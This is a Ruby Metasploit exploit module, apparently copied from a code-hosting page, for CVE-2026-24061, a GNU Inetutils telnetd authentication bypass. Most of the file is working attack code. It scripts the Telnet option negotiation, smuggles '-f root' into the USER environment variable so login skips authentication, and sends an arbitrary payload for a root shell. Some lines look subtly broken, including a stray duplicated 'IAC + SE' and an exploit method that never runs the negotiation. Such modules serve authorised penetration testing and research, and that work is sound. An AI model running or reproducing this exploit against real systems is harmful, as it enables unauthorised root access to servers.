8f1e16d2a6
Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
181 lines
6.5 KiB
Ruby
181 lines
6.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::Telnet
|
|
include Msf::Exploit::Capture
|
|
|
|
NEW_ENVIRON_IS = "\x00"
|
|
NEW_ENVIRON_SEND = "\x01"
|
|
NEW_ENVIRON_VAR = "\x00"
|
|
NEW_ENVIRON_VALUE = "\x01"
|
|
SPACE = "\x20"
|
|
ZERO = "\x00"
|
|
FF = "\xff"
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'GNU Inetutils Telnet Authentication Bypass Exploit CVE-2026-24061',
|
|
'Description' => %q{
|
|
The telnetd service from GNU InetUtils is vulnerable to authentication-bypass, tracked as CVE-2026-24061, in
|
|
versions up to version 2.7. During Telnet authentication the SB byte can be sent to indicate sub-negotiation which
|
|
allows for the exchange of sub-option parameters after both parties have agreed to enable a specific functional option.
|
|
Environment variables can be sent as sub-options and it's the USER environment variable which introduces the
|
|
authentication bypass in this scenario. When the USER environment variable gets sent to the GNU inetutils telnetd
|
|
service during authentication, the variable gets appended without proper sanitization to an execv call to the
|
|
/usr/bin/login binary. The login binary has a -f flag which skips authentication for a specific user. So the exploit
|
|
sets the `USER` environment variable to -f root and the telnetd service responds with a root shell.
|
|
},
|
|
'Author' => [
|
|
'jheysel-r7', # Metasploit module
|
|
'Kyu Neushwaistein' # aka Carlos Cortes Alvarez, discovery
|
|
],
|
|
'References' => [
|
|
['CVE', '2026-24061'],
|
|
['URL', 'https://github.com/DeadlyHollows/CVE-2026-24061-setup'], # Target setup
|
|
['URL', 'https://www.safebreach.com/blog/safebreach-labs-root-cause-analysis-and-poc-exploit-for-cve-2026-24061/'],
|
|
['ATT&CK', Mitre::Attack::Technique::T1021_REMOTE_SERVICES]
|
|
],
|
|
'DisclosureDate' => '2026-01-26', # Python PoC (TCP)
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => %w[unix linux],
|
|
'Arch' => ARCH_CMD,
|
|
'Privileged' => true,
|
|
'Targets' => [
|
|
[ 'Automatic', {} ]
|
|
],
|
|
'Notes' => {
|
|
'Reliability' => [UNRELIABLE_SESSION], # Should always return a session on the first run but after that a session is not guaranteed - this behaviour is specific to version 1.9.4 of InetUtils running on Ubuntu 18.04
|
|
'Stability' => [CRASH_SAFE],
|
|
'SideEffects' => []
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
Opt::RPORT(23),
|
|
OptString.new('USERNAME', [true, 'Username on device to bypass authentication as', 'root']),
|
|
OptString.new('TERMINAL_TYPE', [true, 'Terminal type to set when authenticating', 'XTERM-256COLOR']),
|
|
OptInt.new('TERMINAL_SPEED', [true, 'Terminal speed to set when authenticating', 38400])
|
|
])
|
|
end
|
|
|
|
def recv_telnet(fd, timeout)
|
|
data = ''
|
|
bytes_to_send = ''
|
|
|
|
begin
|
|
data = fd.get_once(-1, timeout)
|
|
return nil if data.blank?
|
|
|
|
data_string = telnet_bytes_to_names(data)
|
|
vprint_status('Incoming Bytes: ' + data_string)
|
|
|
|
if @client_sends == 0
|
|
bytes_to_send =
|
|
IAC + WILL + OPT_AUTHENTICATION +
|
|
IAC + DO + OPT_SGA +
|
|
IAC + WILL + OPT_TTYPE +
|
|
IAC + WILL + OPT_NAWS +
|
|
IAC + WILL + OPT_TSPEED +
|
|
IAC + WILL + OPT_LFLOW +
|
|
IAC + WILL + OPT_LINEMODE +
|
|
IAC + WILL + OPT_NEW_ENVIRON +
|
|
IAC + DO + OPT_STATUS
|
|
elsif @client_sends == 1
|
|
bytes_to_send =
|
|
IAC + DO + OPT_AUTHENTICATION +
|
|
IAC + DONT + OPT_ENCRYPT +
|
|
IAC + WONT + OPT_XDISPLOC +
|
|
IAC + WONT + OPT_OLD_ENVIRON
|
|
elsif @client_sends == 2
|
|
|
|
# For more info on Telnet Linemode Option please reference: https://www.rfc-editor.org/rfc/rfc1184.html
|
|
# The following binary blob was copied from a wireshark dump of a working PoC which used the telnet binary
|
|
linemode_slc =
|
|
"\x03\x01\x03\x00\x03\x62\x03\x04\x02\x0f\x05\x02\x14\x07\x62" \
|
|
"\x1c\x08\x02\x04\x09\x42\x1a\x0a\x02\x7f\x0b\x02\x15\x0c" \
|
|
"\x02\x17\x0d\x02\x12\x0e\x02\x16\x0f\x02\x11\x10\x02" \
|
|
"\x13\x11\x00" + FF + FF + "\x12\x00" + FF + FF
|
|
|
|
bytes_to_send =
|
|
IAC + SB + OPT_AUTHENTICATION +
|
|
ZERO + ZERO + ZERO +
|
|
IAC + SE +
|
|
IAC + SB + OPT_NAWS +
|
|
"\x00\x7e" + "\x00\x3d" +
|
|
IAC + SE +
|
|
IAC + SB + OPT_LINEMODE +
|
|
linemode_slc +
|
|
IAC + SE +
|
|
IAC + DO + OPT_SGA +
|
|
IAC + SB + OPT_LINEMODE +
|
|
"\x01\x14" +
|
|
IAC + SE
|
|
IAC + SE
|
|
elsif @client_sends == 3
|
|
print_status('Sending authentication bypass...')
|
|
bytes_to_send =
|
|
IAC + SB + OPT_TSPEED +
|
|
NEW_ENVIRON_IS +
|
|
"#{datastore['TERMINAL_SPEED']},#{datastore['TERMINAL_SPEED']}" +
|
|
IAC + SE +
|
|
IAC + SB + OPT_NEW_ENVIRON +
|
|
NEW_ENVIRON_IS +
|
|
NEW_ENVIRON_VAR + 'USER' +
|
|
NEW_ENVIRON_SEND + '-f' + SPACE + datastore['USERNAME'] + # this is the auth bypass, sending '-f root' as the NEW_ENVIRON_VAR "USER"
|
|
IAC + SE +
|
|
IAC + SB + OPT_TTYPE +
|
|
NEW_ENVIRON_IS +
|
|
datastore['TERMINAL_TYPE'] +
|
|
IAC + SE
|
|
elsif @client_sends == 4
|
|
bytes_to_send = IAC + WONT + OPT_ECHO
|
|
elsif @client_sends == 5
|
|
bytes_to_send = IAC + DO + OPT_ECHO +
|
|
IAC + WILL + OPT_BINARY +
|
|
IAC + WONT + OPT_LINEMODE
|
|
elsif @client_sends == 6
|
|
print_status('Sending payload...')
|
|
bytes_to_send = payload.encoded + "\x0d\x0a"
|
|
end
|
|
|
|
if datastore['VERBOSE']
|
|
if @client_sends == 6
|
|
vprint_status('Outgoing Bytes: ' + bytes_to_send)
|
|
else
|
|
vprint_status('Outgoing Bytes: ' + telnet_bytes_to_names(bytes_to_send))
|
|
end
|
|
end
|
|
|
|
fd.write(bytes_to_send) unless bytes_to_send.empty?
|
|
|
|
@trace << data
|
|
@recvd << data
|
|
fd.flush
|
|
@client_sends += 1
|
|
rescue ::EOFError, ::Errno::EPIPE => e
|
|
fail_with(Failure::UnexpectedReply, "Sending data failed with error: #{e}")
|
|
end
|
|
|
|
data
|
|
end
|
|
|
|
def exploit
|
|
@client_sends = 0
|
|
print_status('Connecting to telnet service... ')
|
|
connect
|
|
rescue ::Rex::ConnectionError => e
|
|
print_error("Connection failed: #{e.message}")
|
|
ensure
|
|
disconnect
|
|
end
|
|
end
|